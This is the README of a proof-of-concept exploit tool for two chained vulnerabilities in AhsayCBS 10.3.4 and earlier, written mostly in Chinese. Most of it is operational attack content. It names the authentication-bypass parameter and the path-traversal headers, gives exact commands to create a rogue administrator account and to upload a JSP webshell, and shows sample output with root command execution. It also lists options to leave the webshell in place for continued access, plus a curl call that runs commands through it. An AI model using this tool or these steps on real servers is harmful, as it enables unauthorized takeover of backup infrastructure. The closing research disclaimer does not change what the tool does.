CVE-2026-105133 + CVE-2026-105134 — AhsayCBS ≤10.3.4 中的未认证远程代码执行
涵盖根本原因、利用方式和入侵指标的技术分析可在 Horizon3.ai 攻击研究博客上获取:
AhsayCBS 10.3.4 及更早版本存在未认证远程代码执行漏洞,通过 JSON API 和复制接收器模块中的两个链式身份验证绕过和路径遍历缺陷实现。攻击者无需凭据即可获得完全管理控制权或直接 RCE。
当 JSON 请求体包含 {"FromServlet":"Y"} 时,com.ahsay.obs.api.json.JSONApi.execute() 方法会跳过 checkSysPwd() 凭据验证。这允许任何未认证攻击者在没有凭据的情况下调用所有 JSON API 操作。
影响: 未认证的 JSON API 访问敏感操作。
复制接收器文件上传端点(PUT /rps/obs7/rpsfile/upload)通过 getReplicatedPath() 从攻击者控制的 UserHome 和 TopDir 头构造写入路径,未应用 com.ahsay.c 路径拒绝列表。攻击者可以遍历到 Tomcat 的 Web 服务目录(../../webapps/)上传可执行的 JSP 文件。
利用身份验证绕过创建新的系统管理员账户。适用于任何 AhsayCBS 安装,无论许可或复制配置如何。
python3 ahsay_rce_poc.py --url https://target.example.com
输出:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
利用复制接收器中的路径遍历上传经过身份验证的 webshell。要求目标已获得许可并配置为复制接收器。以服务账户身份实现 RCE。
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
输出:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
在不进行任何更改的情况下测试目标是否存在漏洞:
python3 ahsay_rce_poc.py --url https://target.example.com --check
创建一个新的管理员账户:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
通过临时 webshell 执行命令:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
“本软件纯为学术研究及开发有效防御技术之目的而创建,除明确授权外,不得用于攻击系统。”项目维护者不对滥用行为承担责任。请负责任地使用。